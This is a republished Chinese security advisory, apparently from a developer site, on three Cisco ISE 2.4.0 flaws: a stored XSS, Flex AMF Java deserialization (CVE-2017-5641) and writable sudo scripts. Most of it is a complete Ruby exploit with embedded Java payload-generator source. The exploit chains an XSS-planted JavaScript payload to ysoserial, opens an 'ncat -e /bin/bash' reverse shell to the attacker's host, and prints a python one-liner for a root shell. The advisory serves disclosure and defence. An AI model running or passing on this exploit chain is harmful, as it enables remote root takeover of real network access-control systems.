内容简介:一、漏洞概要我们发现,Cisco Identity Services Engine(ISE,身份服务引擎)存在3个漏洞,当这些漏洞被利用时,将允许未经身份验证的攻击者实现root权限并远程执行代码。第一个漏洞是存储型XSS文件上传漏洞,允许攻击者在受害者浏览器中上传并执行HTML页面。第二个是不安全的Flex AMF Java对象反序列化漏洞(CVE-2017-5641),该漏洞也是我们进行利用的漏洞。第三个是通过不正确的sudo文件权限实现权限提升,从而让本地攻击者以root身份运行代码。二、厂商响应
一、漏洞概要
我们发现,Cisco Identity Services Engine(ISE,身份服务引擎)存在3个漏洞,当这些漏洞被利用时,将允许未经身份验证的攻击者实现root权限并远程执行代码。第一个漏洞是存储型XSS文件上传漏洞,允许攻击者在受害者浏览器中上传并执行HTML页面。第二个是不安全的Flex AMF Java对象反序列化漏洞(CVE-2017-5641),该漏洞也是我们进行利用的漏洞。第三个是通过不正确的sudo文件权限实现权限提升,从而让本地攻击者以root身份运行代码。
二、厂商响应
Cisco已经为报告的XSS漏洞分配CVE-ID:CVE-2018-15440,并且在2019年1月9日发布了安全通告:
三、贡献者
一位独立安全研究员Pedro Ribeiro向Beyond Security的SecuriTeam安全披露计划报告了此漏洞。
四、受影响的系统
Cisco Identity Services Engine 2.4.0版本
五、漏洞详情
5.1 存储型跨站脚本(XSS)漏洞
攻击维度:远程
在LiveLogSettingsServlet中(位于/admin/LiveLogSettingsServlet),包含存储型跨站脚本漏洞。doGet() HTTP请求处理程序将Action参数作为HTTP查询变量接收,该变量可以是“read”(读取)或“write”(写入)。
使用“write”参数,它将调用writeLiveLogSettings()函数,该函数将获取多个查询字符串变量,例如Columns、Rows、Refresh_rate和Time_period。然后,将这些查询字符串变量的内容写入/opt/CSCOcpm/mnt/dashboard/liveAuthProps.txt中,服务器将响应200 OK。
然而,这些参数未经过验证,可以包含任何文本。当Action参数等于“read”时,servlet将读取/opt/CSCOcpm/mnt/dashboard/liveAuthProps.txt文件,并使用Content-Type “text/html”将显示内容返回用户,从而导致写入到该文件的内容由浏览器呈现并执行。要发起一次简单的攻击,我们可以发送以下请求:
GET /admin/LiveLogSettingsServlet?Action=write&Columns=1&Rows=%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e&Refresh_rate=1337&Time_period=1337
然后可以通过以下方式触发:
GET /admin/LiveLogSettingsServlet?Action=read HTTP/1.1 ----- HTTP/1.1 200 OK Content-Type: text/html;charset=UTF-8 Content-Length: 164 Server: <Settings> <Columns> <Col>1</Col> </Columns> <Rows><script>alert(1)</script></Rows> <Refresh_rate>1337</Refresh_rate> <Time_period>1337</Time_period> </Settings>
5.2 不安全的Flex AMF Java对象反序列化漏洞
攻击维度:远程
限制条件:需要在管理Web页面进行身份验证
通过向/admin/messagebroker/amfsecure发送带有随机数据的HTTP POST请求,服务器将响应200 OK和二进制数据,其中包括:
...Unsupported AMF version XXXXX...
这表示服务器在该位置具有Apache / Adobe Flex AMF(BlazeDS)终端。在服务器上运行的BlazeDS库版本为4.0.0.14931,这意味着它容易受到CVE-2017-5641的攻击,该漏洞的公开描述如下:“Apache Flex BlazeDS的早期版本(4.7.2及更早版本)没有限制默认情况下允许AMF(X)对象反序列化的类型。在反序列化过程中,由于几种已知类型具有超出预期的副作用,因此可能会发生代码执行。其他未知类型也可能会表现出这种行为。存在 Java 标准库的一个向量,允许攻击者触发可信的漏洞利用代码,导致对不可信数据进行Java反序列化。在第三方库中的其他已知向量,也可以用于触发远程代码执行。”
该漏洞此前在DrayTek VigorACS中被Agile信息安全团队进行了漏洞利用展示,详情可以参见文末参考文章的[3]和[4]。有关该漏洞的更多详细信息,请参阅[5]、[6]和[7]。
漏洞利用链的工作方式与前一个相同:
a) 如[6]中所述,将AMF二进制Payload发送到/admin/messagebroker/amfsecure,从而触发对攻击者的Java远程方法协议(JRMP)回调。
b) 使用ysoserial的JRMP监听器[8],接收JRMP连接。
c) 使用ROME Payload调用ysoserial,因为ROME的易受攻击版本(1.0 RC2)位于服务器的Java类路径中。
d) 执行ncat(二进制文件位于ISE虚拟设备上),并返回一个作为iseaminportal用户运行的反向Shell。
5.3 通过不正确的sudo文件权限进行权限提升
攻击维度:本地
限制条件:需要以iseadminportal用户身份运行的命令Shell
Iseadminportal用户可以通过sudo(sudo –l的输出)以root身份运行各种命令:
(root) NOPASSWD: /opt/CSCOcpm/bin/resetMntDb.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/resetMnTSessDir.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/setdbpw.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/sync_export.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/sync_import.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/partial_sync_export.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/partial_sync_import.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/partial_sync_cleanup.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/ttcontrol.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/updatewallet.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/log-list.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/file-info.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/delete-log-file.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/debug-log-config.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/showinv.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/isebackupcancel.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/nssutils.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/killsubnetscan.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/thirdpartyguestvlan.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/ise-3rdpty-guestvlan.sh * (root) NOPASSWD: /opt/CSCOcpm/mnt/bin/CheckDiskSpace.sh * (root) NOPASSWD: /opt/CSCOcpm/upgrade/bin/genbackup.sh * (root) NOPASSWD: /opt/CSCOcpm/upgrade/bin/createHCTOnPAPScript.sh * (root) NOPASSWD: /opt/CSCOcpm/upgrade/bin/backupHostConfigTablesOnPAP.sh * (root) NOPASSWD: /opt/CSCOcpm/upgrade/bin/dictionary_attribute_update.sh * (root) NOPASSWD: /opt/CSCOcpm/upgrade/bin/deleteguest.sh * (root) NOPASSWD: /opt/CSCOcpm/upgrade/bin/iseupgrade-dbexport.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/pxgrid_backup.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/pxgrid_restore.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/pxgrid_sync.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/pbis_monit.sh * (root) NOPASSWD: /opt/CSCOcpm/prrt/bin/FIPS_lockdown.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/iseupgradeui.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/show_iowait.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/kerberosprobe.sh * (root) NOPASSWD: /opt/CSCOcpm/bin/sxp-servercontrol.sh *
上述所有文件,都可以由iseadminportal用户写入。这使得攻击者可以轻松实现到root的权限提升。攻击者所需要做的就是编辑文件,并在第二行和(或)最后一行添加“/bin/sh”,然后以sudo身份运行脚本,以获取root Shell。
六、漏洞利用
#!/usr/bin/ruby
=begin
Exploit for Cisco Identify Services Engine (ISE), tested on version 2.4.0.357
CVE-TODO
By Pedro Ribeiro (<a href="/cdn-cgi/l/email-protection" data-cfemail="34445150465d56745359555d581a575b59">[email protected]</a>) from Agile Information Security,
and Dominik Czarnota (<a href="/cdn-cgi/l/email-protection" data-cfemail="85e1eae8ecebeceeabe7abe6ffe4f7ebeaf1e4c5e2e8e4ece9abe6eae8">[email protected]</a>)
This exploit starts by abusing a stored cross scripting to deploy malicious Javascript to /admin/LiveLogSettingsServlet.
The Javascript contains a binary payload that will cause a XHR request to the AMF endpoint on the ISE server, which is vulnerable to CVE-2017-5641 (Unsafe Java AMF deserialization), leading to remote code execution as the iseadminportal user.
This AMF deserialization can only be triggered by an authenticated user, hence why the stored XSS is necessary.
The exploit will wait until the server executes the AMF deserialization payload and spawn netcat to receive a reverse shell from the server.
Once we have code execution as the unprivileged iseadminportal user, we can edit various shell script files under /opt/CSCOcpm/bin/ and run them as sudo, escalating our privileges to root.
This exploit has only been tested in Linux. The two jars described below are required for execution of the exploit, and they should be in the same directory as this script.
==
ysoserial.jar - get the latest version from https://github.com/frohoff/ysoserial/releases
acsFlex.jar - build the following code as a JAR:
import flex.messaging.io.amf.MessageBody;
import flex.messaging.io.amf.ActionMessage;
import flex.messaging.io.SerializationContext;
import flex.messaging.io.amf.AmfMessageSerializer;
import java.io.*;
public class ACSFlex {
public static void main(String[] args) {
Object unicastRef = generateUnicastRef(args[0], Integer.parseInt(args[1]));
// serialize object to AMF message
try {
byte[] amf = new byte[0];
amf = serialize((unicastRef));
DataOutputStream os = new DataOutputStream(new FileOutputStream(args[2]));
os.write(amf);
System.out.println("Done, payload written to " + args[2]);
} catch (IOException e) {
e.printStackTrace();
}
}
public static Object generateUnicastRef(String host, int port) {
java.rmi.server.ObjID objId = new java.rmi.server.ObjID();
sun.rmi.transport.tcp.TCPEndpoint endpoint = new sun.rmi.transport.tcp.TCPEndpoint(host, port);
sun.rmi.transport.LiveRef liveRef = new sun.rmi.transport.LiveRef(objId, endpoint, false);
return new sun.rmi.server.UnicastRef(liveRef);
}
public static byte[] serialize(Object data) throws IOException {
MessageBody body = new MessageBody();
body.setData(data);
ActionMessage message = new ActionMessage();
message.addBody(body);
ByteArrayOutputStream out = new ByteArrayOutputStream();
AmfMessageSerializer serializer = new AmfMessageSerializer();
serializer.initialize(SerializationContext.getSerializationContext(), out, null);
serializer.writeMessage(message);
return out.toByteArray();
}
}
=end
require 'tmpdir'
require 'net/http'
require 'uri'
require 'openssl'
require 'base64'
class String
def black; "\e[30m#{self}\e[0m" end
def red; "\e[31m#{self}\e[0m" end
def green; "\e[32m#{self}\e[0m" end
def brown; "\e[33m#{self}\e[0m" end
def blue; "\e[34m#{self}\e[0m" end
def magenta; "\e[35m#{self}\e[0m" end
def cyan; "\e[36m#{self}\e[0m" end
def gray; "\e[37m#{self}\e[0m" end
def bg_black; "\e[40m#{self}\e[0m" end
def bg_red; "\e[41m#{self}\e[0m" end
def bg_green; "\e[42m#{self}\e[0m" end
def bg_brown; "\e[43m#{self}\e[0m" end
def bg_blue; "\e[44m#{self}\e[0m" end
def bg_magenta; "\e[45m#{self}\e[0m" end
def bg_cyan; "\e[46m#{self}\e[0m" end
def bg_gray; "\e[47m#{self}\e[0m" end
def bold; "\e[1m#{self}\e[22m" end
def italic; "\e[3m#{self}\e[23m" end
def underline; "\e[4m#{self}\e[24m" end
def blink; "\e[5m#{self}\e[25m" end
def reverse_color; "\e[7m#{self}\e[27m" end
end
puts ""
puts "Cisco Identity Services Engine (ISE) remote code execution as root".cyan.bold
puts " Tested on ISE virtual appliance 2.4.0.357".cyan.bold
puts "By:".blue.bold
puts " Pedro Ribeiro (<a href="/cdn-cgi/l/email-protection" data-cfemail="9aeafffee8f3f8dafdf7fbf3f6b4f9f5f7">[email protected]</a>) / Agile Information Security".blue.bold
puts " Dominik Czarnota (<a href="/cdn-cgi/l/email-protection" data-cfemail="e5818a888c8b8c8ecb87cb869f84978b8a9184a58288848c89cb868a88">[email protected]</a>)".blue.bold
puts ""
script_dir = File.expand_path(File.dirname(__FILE__))
ysoserial_jar = File.join(script_dir, 'ysoserial.jar')
acsflex_jar = File.join(script_dir, 'acsFlex.jar')
if (ARGV.length < 3) or not File.exist?(ysoserial_jar) or not File.exist?(acsflex_jar)
puts "Usage: ./ISEpwn.rb <rhost> <rport> <lhost>".bold
puts "Spawns a reverse shell from rhost to lhost"
puts ""
puts "NOTES:\tysoserial.jar and the included acsFlex.jar must be in this script's directory."
puts "\tTwo random TCP ports in the range 10000-65535 are used to receive connections from the target."
puts ""
exit(-1)
end
# Unfortunately I couldn't find a better way to make this interactive,
# so the user has to copy and paste the python command to write to the shell script
# and execute as sudo.
# Spent hours fighting with Ruby and trying to get this without user interaction,
# hopefully some Ruby God can enlighten me on how to do it properly.
def start_nc_thread(nc_port, jrmp_pid)
IO.popen("nc -lvkp #{nc_port.to_s} 2>&1").each do |line|
if line.include?('Connection from')
Process.kill("TERM", jrmp_pid)
Process.wait(jrmp_pid)
puts "[+] Shelly is here! Now to escalate your privileges to root, ".green.bold +
"copy and paste the following:".green.bold
puts %{python -c 'import os;f=open("/opt/CSCOcpm/bin/file-info.sh", "a+", 0);f.write("if [ \\"$1\\" == 1337 ];then\\n/bin/bash\\nfi\\n");f.close();os.system("sudo /opt/CSCOcpm/bin/file-info.sh 1337")'}
puts "[+] Press enter, then interact with the root shell,".green.bold +
" and press CTRL + C when done".green.bold
else
puts line
end
end
end
YSOSERIAL = "#{ysoserial_jar} ysoserial.exploit.JRMPListener JRMP_PORT ROME"
JS_PAYLOAD = %{<script>function b64toBlob(e,r,a){r=r||"",a=a||512;for(var t=atob(e),n=[],o=0;o<t.length;o+=a){for(var l=t.slice(o,o+a),b=new Array(l.length),h=0;h<l.length;h++)b[h]=l.charCodeAt(h);var p=new Uint8Array(b);n.push(p)}return new Blob(n,{type:r})}b64_payload="<PAYLOAD>";var xhr=new XMLHttpRequest;xhr.open("POST","https://<RHOST>/admin/messagebroker/amfsecure",!0),xhr.send(b64toBlob(b64_payload,"application/x-amf"));</script>}
rhost = ARGV[0]
rport = ARGV[1]
lhost = ARGV[2].dup.force_encoding('ASCII')
Dir.mktmpdir { |temp_dir|
nc_port = rand(10000..65535)
puts "[+] Picked port #{nc_port} to receive the shell".cyan.bold
# step 1: create the AMF payload
puts "[+] Creating AMF payload...".green.bold
jrmp_port = rand(10000..65535)
amf_file = temp_dir + "/payload.ser"
system("java -jar #{acsflex_jar} #{lhost} #{jrmp_port} #{amf_file}")
amf_payload = File.binread(amf_file)
# step 2: start the ysoserial JRMP listener
puts "[+] Picked port #{jrmp_port} for the JRMP server".cyan.bold
# build the command line argument that will be executed by the server
java = "java -cp #{YSOSERIAL.gsub('JRMP_PORT', jrmp_port.to_s)}"
cmd = "ncat -e /bin/bash SERVER PORT".gsub("SERVER", lhost).gsub("PORT", nc_port.to_s)
puts "[+] Sending command #{cmd}".green.bold
java_split = java.split(' ') << cmd
jrmp = IO.popen(java_split)
jrmp_pid = jrmp.pid
sleep 5
# step 3: start the netcat reverse shell listener
t = Thread.new{start_nc_thread(nc_port, jrmp_pid)}
# step 4: fire the XSS payload and wait for our trap to be sprung
js_payload = JS_PAYLOAD.gsub('<RHOST>', "#{rhost}:#{rport}").
gsub('<PAYLOAD>', Base64.strict_encode64(amf_payload))
uri = URI.parse("https://#{rhost}:#{rport}/admin/LiveLogSettingsServlet")
params = {
:Action => "write",
:Columns => rand(1..1000).to_s,
:Rows => js_payload,
:Refresh_rate => rand(1..1000).to_s,
:Time_period => rand(1..1000).to_s
}
uri.query = URI.encode_www_form( params )
Net::HTTP.start(uri.host, uri.port,
{:use_ssl => true, :verify_mode => OpenSSL::SSL::VERIFY_NONE }) do |http|
#http.set_debug_output($stdout)
res = http.get(uri)
end
puts "[+] XSS payload sent. Waiting for an admin to take the bait...".green.bold
begin
t.join
rescue Interrupt
begin
Process.kill("TERM", jrmp_pid)
Process.wait(jrmp_pid)
rescue Errno::ESRCH
# if we try to kill a dead process we get this error
end
puts "Exiting..."
end
}
exit 0
以上所述就是小编给大家介绍的《Cisco ISE:从无需身份验证的XSS到高权限远程代码执行漏洞》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:- JoomlaV3.7核心组件无需登录SQL注入漏洞
- 甲骨文 WebLogic 服务器曝关键漏洞,无需身份验证即可被远程利用
- 无需 Docker 也能构建容器
- 无需括号与分号的XSS
- 无需公网IP就能异地组网?
- 无需安装的CLI才是最好的
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Machine Learning in Action
Peter Harrington / Manning Publications / 2012-4-19 / GBP 29.99
It's been said that data is the new "dirt"—the raw material from which and on which you build the structures of the modern world. And like dirt, data can seem like a limitless, undifferentiated mass. ......一起来看看 《Machine Learning in Action》 这本书的介绍吧!